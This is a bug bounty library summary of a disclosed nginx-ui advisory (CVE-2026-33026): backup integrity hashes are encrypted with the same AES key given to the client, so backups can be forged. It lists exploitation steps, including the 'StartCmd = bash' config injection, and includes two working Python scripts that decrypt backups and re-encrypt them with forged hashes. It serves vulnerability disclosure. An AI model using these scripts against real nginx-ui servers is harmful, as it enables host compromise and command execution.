# nginx-ui Backup Restore Allows Tampering with Encrypted Backups

nginx-ui backup restore trusts integrity hashes encrypted with the same client-held AES key, letting attackers tamper backups and inject config for command execution.

- Payout: Research
- Severity: critical
- Program: nginx-ui
- Found by: dapickle, cookesan
- Disclosed: 2026-03-30
- CVE: CVE-2026-33026
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fhh2-gg7w-gwpq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fhh2-gg7w-gwpq
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:source-review vuln:crypto vuln:misconfiguration vuln:rce

**Target:** Backup/restore mechanism (AES-256-CBC encrypted zip archives)
**Root cause:** Integrity metadata (hash_info.txt) is encrypted with the same AES key/IV handed to the client as a backup token, so anyone with the token can decrypt, modify, recompute hashes, and re-encrypt. Restore also proceeds despite hash mismatch warnings.
**Steps:**
1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.
2. Decrypt `nginx-ui.zip`, `nginx.zip`, and `hash_info.txt` using the token via AES-256-CBC.
3. Modify contained `app.ini` to inject malicious config (e.g. `StartCmd = bash`).
4. Re-compress files and compute new SHA-256 hashes of the encrypted blobs.
5. Update `hash_info.txt` with the new hashes and re-encrypt it with the original key/IV.
6. Re-encrypt the bundle and upload the tampered backup to the restore interface.
7. Restore accepts the modified backup (warning may appear) and applies the malicious config.
**How found:** Analyst observed the backup workflow: key and IV are shipped to the client and the integrity hash file is encrypted with that same key, forming a circular trust model. Noted restore accepts backups even when hash mismatches are raised.
**Exploitation:** Attacker with access to a backup token decrypts the archive, injects config such as `StartCmd = bash` into app.ini, recomputes SHA-256 hashes, re-encrypts with the same key/IV, and uploads via the restore UI. Restore proceeds despite integrity warnings, applying attacker config and yielding command execution on the host.
**Escalation:** Config injection into app.ini/nginx config escalates from backup tampering to arbitrary command execution and full nginx-ui instance compromise.
**Insight:** When a backup format hands the encryption key to the client, any integrity metadata encrypted with that same key is attacker-forgeable; check whether restore aborts on hash mismatch or merely warns, and whether a server-side signing key exists.

## Proof of concept (copied exactly from the original report)

**Python script decrypting backup with token**

```
import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")
    
    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)
        
    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
    
    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()
            
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
            
            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)
```

**Python script re-encrypting tampered backup with recomputed hashes**

```
import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")
    
    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()
        
        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"
    
    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)
            
    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)
```

